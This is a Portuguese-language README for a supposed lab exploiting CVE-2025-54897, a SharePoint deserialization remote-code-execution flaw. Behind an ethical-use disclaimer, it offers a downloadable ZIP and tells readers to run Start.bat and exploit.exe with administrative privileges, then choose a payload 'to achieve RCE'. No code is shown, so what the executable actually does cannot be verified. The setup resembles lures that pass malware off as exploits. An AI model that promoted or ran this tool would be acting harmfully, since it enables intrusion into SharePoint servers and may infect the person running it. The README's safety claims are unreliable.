Lab: CVE-2025-54897 - Vulnerabilidade de Desserialização no Microsoft Office SharePoint

🚀 Visão Geral

Este laboratório demonstra uma vulnerabilidade de desserialização no Microsoft Office SharePoint que permite execução remota de código (RCE). O problema surge do tratamento inadequado de dados serializados não confiáveis nas rotinas de desserialização de objetos do SharePoint, permitindo que um atacante autenticado execute código arbitrário no servidor de destino. Com uma pontuação CVSSv3 de 8.8, esta vulnerabilidade de alta gravidade afeta várias versões do SharePoint, incluindo Enterprise Server 2016, Server 2019 e Subscription Edition. A exploração bem-sucedida pode levar à exfiltração de dados, escalonamento de privilégios ou comprometimento total do sistema em ambientes de rede.

⚠️ Aviso de Segurança

Este laboratório envolve simulações de execução de código potencialmente prejudiciais. Use apenas em ambientes isolados e não produtivos. Não implante em sistemas ou redes ativos sem autorização adequada. Os autores se isentam de qualquer responsabilidade por uso indevido, danos ou consequências legais decorrentes deste repositório. Sempre siga as diretrizes de hacking ético e obtenha permissão explícita antes de testar em qualquer sistema.

Apenas para Fins Educacionais: Este repositório é fornecido exclusivamente para aprender sobre vulnerabilidades de software e práticas de codificação segura. Não se destina a facilitar acesso não autorizado, ataques ou quaisquer atividades ilegais.

📋 Pré-requisitos

• Windows 10/11 ou Windows Server 2016/2019/2022 (64 bits) com privilégios administrativos.
• .NET Framework 4.8 ou posterior instalado.
• Microsoft SharePoint Server 2016/2019 ou Subscription Edition (versões vulneráveis sem patches aplicados).
• Regras de firewall permitindo conexões de entrada nas portas 80/443 para testes.

Download e Instalação

Baixe os recursos do laboratório como um arquivo ZIP no seguinte link: Download Lab ZIP.

Para instalar:

1. Extraia o ZIP para um diretório local (por exemplo, C:\cve-2025-54897-lab).
2. Verifique as dependências do .NET executando dotnet --version no Prompt de Comando.

🛠 Início Rápido

1. Baixe e extraia o ZIP do laboratório conforme descrito acima.
2. Navegue até o diretório extraído.
3. Execute Start.bat para iniciar o exploit.exe. Isso abrirá a interface de exploração em uma janela de console.
4. Siga as instruções na tela para configurar o endpoint do SharePoint de destino (por exemplo, http://localhost:80 para testes locais).
5. Selecione um tipo de payload e execute para alcançar o RCE.

Para perguntas ou contribuições, envie um e-mail para [email protected]